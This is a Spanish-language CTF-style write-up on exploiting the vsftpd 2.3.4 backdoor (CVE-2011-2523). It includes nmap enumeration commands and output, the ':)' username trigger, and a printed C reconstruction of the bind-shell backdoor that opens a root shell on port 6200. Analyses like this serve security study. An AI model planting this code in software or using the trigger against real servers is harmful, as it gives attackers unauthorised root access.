Descripción:#
Una “maquina” si se puede llamar así muy simple que explota una backdoor en el servicio FTP en la versión vsftpd 2.3.4, en la cual si nos conectamos con un usuario que contiene “:)” abre el puerto 6200 con privilegios de root.
Enumeración#
Con nmap vamos a escanear puertos, servicios y versiones:
sudo nmap -p- --open -vvv --min-rate 5000 -sS -Pn -n {IP} -oG allPorts
nmap -p21 -sVC -A {IP} -oN target
Encontraremos el puerto 21 con un servicio FTP y la versión vsftp 2.3.4:
PORT STATE SERVICE VERSION
21/tcp open ftp **vsftpd 2.3.4**
MAC Address: 02:42:AC:11:00:02 (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Unix
vsftpd 2.3.4#
Buscando esta versión del servicio encontramos que es una versión bastante vieja en la cual encontramos que hubo una backdoor que al momento de ingresar el usuario si encuentra los siguientes caracteres :) abre el puerto 6200 con permisos root al cual nos podemos conectar usando nc y obteniendo control total del sistema:
En este caso la contraseña no tiene importancia.
Análisis CVE-2011-2523#
/* Backdoor añadida en vsftpd 2.3.4 (versión comprometida) */
static void vsf_sysutil_extra(void)
{
int listenfd = 0;
int connfd = 0;
struct sockaddr_in serv_addr = {0};
char *argv[] = { "/bin/sh", 0 };
/* Crear socket */
listenfd = socket(AF_INET, SOCK_STREAM, 0);
/* Configurar estructura de dirección */
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(6200); // Puerto backdoor
/* Enlazar y escuchar */
bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
listen(listenfd, 5);
/* Aceptar conexión y redirigir I/O */
connfd = accept(listenfd, (struct sockaddr*)NULL, NULL);
dup2(connfd, 0); // STDIN
dup2(connfd, 1); // STDOUT
dup2(connfd, 2); // STDERR
/* Ejecutar shell interactiva */
execve("/bin/sh", argv, NULL);
close(connfd);
close(listenfd);
}
/* Trigger en la autenticación (archivo `postlogin.c`) */
if (strstr(p_sess->user_str, ":)"))
{
vsf_sysutil_extra(); // Activa la backdoor si el usuario contiene ":)"
}
- Mecanismo de Activación:
- El código verifica si el nombre de usuario (
p_sess->user_str) contiene la cadena:). - No hay validación de contraseña: Cualquier input en el campo de password activa la backdoor.
- El código verifica si el nombre de usuario (
- Funcionamiento de la Backdoor:
- Crea un socket TCP en el puerto 6200 usando
AF_INET(IPv4). listen()permite hasta 5 conexiones simultáneas.- Al aceptar una conexión (
accept()), redirige los descriptores de archivo:dup2(connfd, 0..2)conecta STDIN/STDOUT/STDERR al socket.
- Ejecuta
/bin/shconexecve(), proporcionando una shell remota con privilegios de root (vsftpd suele ejecutarse como root).
- Crea un socket TCP en el puerto 6200 usando

